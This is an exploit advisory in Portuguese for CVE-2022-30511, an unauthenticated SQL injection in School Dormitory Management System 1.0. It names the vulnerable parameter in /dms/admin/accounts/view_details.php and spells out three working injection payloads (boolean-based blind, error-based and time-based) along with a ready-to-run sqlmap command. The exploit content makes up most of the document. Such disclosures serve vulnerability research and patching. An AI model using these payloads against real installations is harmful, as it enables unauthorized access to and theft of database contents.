CVE-2022-30511

Sistema de Gerenciamento de Dormitório Escolar 1.0 - Injeção SQL Não Autenticada

Título do Exploit: School Dormitory Management System 1.0 - Injeção SQL Não Autenticada

Data: 2022-05-25

CVE: CVE-2022-30511

Autor do Exploit: Abdulaziz Saad (@b4zb0z)

Página inicial do fornecedor: https://www.sourcecodester.com/

Link do software: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Versão: 1.0

Testado em: LAMP, Ubuntu

---

[#] Localização da Vulnerabilidade: $_GET['id'] em /dms/admin/accounts/view_details.php:4

Parâmetro: id (GET) Tipo: boolean-based blind Título: AND boolean-based blind - cláusula WHERE ou HAVING Payload: page=accounts/view_details&id=2' AND 8853=8853 AND 'kujz'='kujz

Tipo: error-based

Título: MySQL >= 5.0 AND error-based - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (FLOOR)
Payload: page=accounts/view_details&id=2' AND (SELECT 8739 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(8739=8739,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'fkLf'='fkLf

Tipo: time-based blind

Título: MySQL >= 5.0.12 AND time-based blind (consulta SLEEP)
Payload: page=accounts/view_details&id=2' AND (SELECT 7339 FROM (SELECT(SLEEP(5)))Dkxx) AND 'UZCm'='UZCm

---

[#] Exploração Usando SQLMAP: sqlmap -u "http://localhost/dms/admin/?page=accounts/view_details&id=2" --dbms=mysql